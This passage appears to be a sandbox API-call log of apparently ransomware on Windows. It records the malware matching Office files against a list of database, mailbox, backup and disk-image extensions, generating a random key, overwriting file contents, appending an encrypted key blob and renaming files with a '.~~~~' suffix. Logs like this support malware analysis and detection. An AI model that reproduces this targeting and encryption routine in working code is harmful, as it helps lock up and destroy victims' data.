	[0137.246] lstrlenW (lpString=".NDF") returned 4
	[0137.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".NDF") returned 0x0
	[0137.246] lstrlenW (lpString=".dat") returned 4
	[0137.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".dat") returned 0x0
	[0137.246] lstrlenW (lpString=".DBS") returned 4
	[0137.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".DBS") returned 0x0
	[0137.246] lstrlenW (lpString=".CKP") returned 4
	[0137.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".CKP") returned 0x0
	[0137.246] lstrlenW (lpString=".edb") returned 4
	[0137.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".edb") returned 0x0
	[0137.246] lstrlenW (lpString=".PST") returned 4
	[0137.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".PST") returned 0x0
	[0137.246] lstrlenW (lpString=".dbf") returned 4
	[0137.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".dbf") returned 0x0
	[0137.246] lstrlenW (lpString=".SQL") returned 4
	[0137.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".SQL") returned 0x0
	[0137.246] lstrlenW (lpString=".pst") returned 4
	[0137.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".pst") returned 0x0
	[0137.246] lstrlenW (lpString=".dbv") returned 4
	[0137.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".dbv") returned 0x0
	[0137.246] lstrlenW (lpString=".SDF") returned 4
	[0137.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".SDF") returned 0x0
	[0137.246] lstrlenW (lpString=".dtxs") returned 5
	[0137.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".dtxs") returned 0x0
	[0137.246] lstrlenW (lpString=".db3") returned 4
	[0137.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".db3") returned 0x0
	[0137.247] lstrlenW (lpString=".OST") returned 4
	[0137.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".OST") returned 0x0
	[0137.247] lstrlenW (lpString=".dbx") returned 4
	[0137.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".dbx") returned 0x0
	[0137.247] lstrlenW (lpString=".DB3") returned 4
	[0137.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".DB3") returned 0x0
	[0137.247] lstrlenW (lpString=".DAT") returned 4
	[0137.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".DAT") returned 0x0
	[0137.247] lstrlenW (lpString=".VHDX") returned 5
	[0137.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".VHDX") returned 0x0
	[0137.247] lstrlenW (lpString=".ndf") returned 4
	[0137.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".ndf") returned 0x0
	[0137.247] lstrlenW (lpString=".DB") returned 3
	[0137.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".DB") returned 0x0
	[0137.247] lstrlenW (lpString=".sql") returned 4
	[0137.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".sql") returned 0x0
	[0137.247] lstrlenW (lpString=".MYD") returned 4
	[0137.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".MYD") returned 0x0
	[0137.247] lstrlenW (lpString=".DBT") returned 4
	[0137.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".DBT") returned 0x0
	[0137.247] lstrlenW (lpString=".ACCDB") returned 6
	[0137.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".ACCDB") returned 0x0
	[0137.247] lstrlenW (lpString=".fdb") returned 4
	[0137.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".fdb") returned 0x0
	[0137.248] lstrlenW (lpString=".bak") returned 4
	[0137.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".bak") returned 0x0
	[0137.248] lstrlenW (lpString=".myd") returned 4
	[0137.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".myd") returned 0x0
	[0137.248] lstrlenW (lpString=".DTXS") returned 5
	[0137.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".DTXS") returned 0x0
	[0137.248] lstrlenW (lpString=".ckp") returned 4
	[0137.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".ckp") returned 0x0
	[0137.248] lstrlenW (lpString=".dbt") returned 4
	[0137.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".dbt") returned 0x0
	[0137.248] lstrlenW (lpString=".db") returned 3
	[0137.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".db") returned 0x0
	[0137.248] lstrlenW (lpString=".TXT") returned 4
	[0137.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".TXT") returned 0x0
	[0137.248] lstrlenW (lpString=".MDF") returned 4
	[0137.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".MDF") returned 0x0
	[0137.248] lstrlenW (lpString=".bdb") returned 4
	[0137.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".bdb") returned 0x0
	[0137.248] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0137.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0137.249] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394f48) returned 1
	[0137.250] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0137.250] CryptReleaseContext (hProv=0x394f48, dwFlags=0x0) returned 1
	[0137.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0137.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0137.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0137.250] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25724010362) returned 1
	[0137.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbb3fe1b0, dwHighDateTime=0x1d60e1e)) 
	[0137.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0137.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0137.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0137.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825668
	[0137.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825668 | out: hHeap=0x300000) returned 1
	[0137.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce578
	[0137.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6088
	[0137.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce578 | out: hHeap=0x300000) returned 1
	[0137.251] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0137.251] GetLastError () returned 0x0
	[0137.251] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0137.251] GetLastError () returned 0x0
	[0137.253] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffff286, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.253] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0137.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0137.254] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.254] WriteFile (in: hFile=0x104, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.254] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.254] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.254] CloseHandle (hObject=0x104) returned 1
	[0137.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6088
	[0137.254] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\primary.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\primary.css.~~~~")) returned 1
	[0137.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c6088 | out: hHeap=0x300000) returned 1
	[0137.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0137.470] GetLastError () returned 0x0
	[0137.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".scr") returned 0x0
	[0137.507] lstrlenW (lpString=".cmd") returned 4
	[0137.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".cmd") returned 0x0
	[0137.507] lstrlenW (lpString=".dll") returned 4
	[0137.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".dll") returned 0x0
	[0137.507] lstrlenW (lpString=".bat") returned 4
	[0137.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".bat") returned 0x0
	[0137.507] lstrlenW (lpString=".cpl") returned 4
	[0137.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".cpl") returned 0x0
	[0137.507] lstrlenW (lpString=".sys") returned 4
	[0137.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".sys") returned 0x0
	[0137.507] lstrlenW (lpString=".msc") returned 4
	[0137.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".msc") returned 0x0
	[0137.507] lstrlenW (lpString=".com") returned 4
	[0137.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".com") returned 0x0
	[0137.508] lstrlenW (lpString=".lnk") returned 4
	[0137.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".lnk") returned 0x0
	[0137.508] lstrlenW (lpString=".msp") returned 4
	[0137.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".msp") returned 0x0
	[0137.508] lstrlenW (lpString=".pif") returned 4
	[0137.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".pif") returned 0x0
	[0137.508] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch="msp\r\n.pif") returned 0x0
	[0137.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlts.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0137.510] lstrlenW (lpString=".sqb") returned 4
	[0137.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".sqb") returned 0x0
	[0137.510] lstrlenW (lpString=".ost") returned 4
	[0137.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".ost") returned 0x0
	[0137.510] lstrlenW (lpString=".txt") returned 4
	[0137.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".txt") returned 0x0
	[0137.510] lstrlenW (lpString=".mdt") returned 4
	[0137.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".mdt") returned 0x0
	[0137.511] lstrlenW (lpString=".BDB") returned 4
	[0137.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".BDB") returned 0x0
	[0137.511] lstrlenW (lpString=".eql") returned 4
	[0137.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".eql") returned 0x0
	[0137.511] lstrlenW (lpString=".DBF") returned 4
	[0137.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".DBF") returned 0x0
	[0137.511] lstrlenW (lpString=".EQL") returned 4
	[0137.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".EQL") returned 0x0
	[0137.511] lstrlenW (lpString=".FDB") returned 4
	[0137.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".FDB") returned 0x0
	[0137.511] lstrlenW (lpString=".EDB") returned 4
	[0137.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".EDB") returned 0x0
	[0137.511] lstrlenW (lpString=".DACPAC") returned 7
	[0137.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".DACPAC") returned 0x0
	[0137.511] lstrlenW (lpString=".VHD") returned 4
	[0137.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".VHD") returned 0x0
	[0137.511] lstrlenW (lpString=".DBV") returned 4
	[0137.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".DBV") returned 0x0
	[0137.511] lstrlenW (lpString=".dacpac") returned 7
	[0137.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".dacpac") returned 0x0
	[0137.511] lstrlenW (lpString=".sdf") returned 4
	[0137.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".sdf") returned 0x0
	[0137.511] lstrlenW (lpString=".accdb") returned 6
	[0137.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".accdb") returned 0x0
	[0137.511] lstrlenW (lpString=".DBX") returned 4
	[0137.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".DBX") returned 0x0
	[0137.512] lstrlenW (lpString=".MDT") returned 4
	[0137.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".MDT") returned 0x0
	[0137.512] lstrlenW (lpString=".SQB") returned 4
	[0137.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".SQB") returned 0x0
	[0137.512] lstrlenW (lpString=".vhd") returned 4
	[0137.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".vhd") returned 0x0
	[0137.512] lstrlenW (lpString=".bac") returned 4
	[0137.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".bac") returned 0x0
	[0137.512] lstrlenW (lpString=".mdf") returned 4
	[0137.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".mdf") returned 0x0
	[0137.512] lstrlenW (lpString=".BAK") returned 4
	[0137.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".BAK") returned 0x0
	[0137.512] lstrlenW (lpString=".BAC") returned 4
	[0137.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".BAC") returned 0x0
	[0137.512] lstrlenW (lpString=".dbs") returned 4
	[0137.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".dbs") returned 0x0
	[0137.512] lstrlenW (lpString=".vhdx") returned 5
	[0137.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".vhdx") returned 0x0
	[0137.512] lstrlenW (lpString=".NDF") returned 4
	[0137.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".NDF") returned 0x0
	[0137.512] lstrlenW (lpString=".dat") returned 4
	[0137.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".dat") returned 0x0
	[0137.512] lstrlenW (lpString=".DBS") returned 4
	[0137.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".DBS") returned 0x0
	[0137.513] lstrlenW (lpString=".CKP") returned 4
	[0137.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".CKP") returned 0x0
	[0137.513] lstrlenW (lpString=".edb") returned 4
	[0137.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".edb") returned 0x0
	[0137.513] lstrlenW (lpString=".PST") returned 4
	[0137.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".PST") returned 0x0
	[0137.513] lstrlenW (lpString=".dbf") returned 4
	[0137.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".dbf") returned 0x0
	[0137.513] lstrlenW (lpString=".SQL") returned 4
	[0137.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".SQL") returned 0x0
	[0137.513] lstrlenW (lpString=".pst") returned 4
	[0137.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".pst") returned 0x0
	[0137.513] lstrlenW (lpString=".dbv") returned 4
	[0137.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".dbv") returned 0x0
	[0137.513] lstrlenW (lpString=".SDF") returned 4
	[0137.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".SDF") returned 0x0
	[0137.513] lstrlenW (lpString=".dtxs") returned 5
	[0137.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".dtxs") returned 0x0
	[0137.513] lstrlenW (lpString=".db3") returned 4
	[0137.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".db3") returned 0x0
	[0137.513] lstrlenW (lpString=".OST") returned 4
	[0137.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".OST") returned 0x0
	[0137.513] lstrlenW (lpString=".dbx") returned 4
	[0137.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".dbx") returned 0x0
	[0137.513] lstrlenW (lpString=".DB3") returned 4
	[0137.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".DB3") returned 0x0
	[0137.513] lstrlenW (lpString=".DAT") returned 4
	[0137.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT", lpSrch=".DAT") returned=".DAT"
	[0137.514] lstrlenW (lpString=".DAT") returned 4
	[0137.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0137.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.514] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0137.515] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.515] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0137.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0137.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0137.515] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25750537869) returned 1
	[0137.515] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbb685910, dwHighDateTime=0x1d60e1e)) 
	[0137.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0137.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0137.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0137.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28257b8
	[0137.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28257b8 | out: hHeap=0x300000) returned 1
	[0137.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce230
	[0137.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6120
	[0137.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0137.516] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0137.516] GetLastError () returned 0x0
